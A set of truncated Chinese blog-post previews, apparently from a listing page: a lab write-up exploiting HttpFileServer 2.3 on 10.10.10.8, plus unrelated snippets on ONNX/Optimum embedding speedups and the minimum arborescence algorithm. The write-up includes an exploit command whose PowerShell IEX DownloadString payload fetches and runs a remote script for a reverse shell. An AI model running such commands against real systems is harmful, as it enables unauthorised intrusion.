信息收集 IP AddressOpening Ports10.10.10.8TCP:80 $ nmap -p- 10.10.10.8 --min-rate 1000 -sC -sV -Pn PORT STATE SERVICE VERSION80/tcp open http HttpFileServer httpd 2.3|_http-server-header: HFS 2

nmap exploit-HttpFileServer 2.3 生成ps1反弹shell 模拟漏洞案例的请求 python 49125.py 10.10.10.8 80 "c:\windows\SysNative\WindowsPowershell\v1.0\powershell.exe IEX (New-Object Net.WebClient).DownloadString

今天偶然刷到了 Accelerate Sentence Transformers with Hugging Face Optimum (philschmid.de) 看到可以是用 optimum 调用 onnx API 加速 embedding 模型在 CPU 上的推理速度，而且相比之前： 使用 onnx 使得 embedding 生成速度提高 4 倍（和原生 sentence transf

概念 最小树形图：有向图所分离出的有向生成树,亦称为最小树形图，其应满足以下条件： 1. 恰好有一个入度为0的点，称为根结点 2. 其他结点的入度均为1 3. 可以从根结点到达其他结点 既然要找最小生成树，当然就是找权重越小的边越好。每一个点（除了根以外）各自找到权重最小的入边之后，有可能就刚好是一棵最小生成树了，但是也有可能形成几只“水母”。 由于每个点都仅有一条入边，如果形成

1. 普通模型 Optimum是huggingface transformers库的一个扩展包，用来提升模型在指定硬件上的训练和推理性能。Optimum支持多种硬件，不同硬件下的安卓方式如下： 如果是国内安装的话，记得加上-i https://pypi.tuna.tsinghua.edu.cn/simple。 hugging face目前是被墙的状态，在使用示例代码时，需要将模型离线下载下来使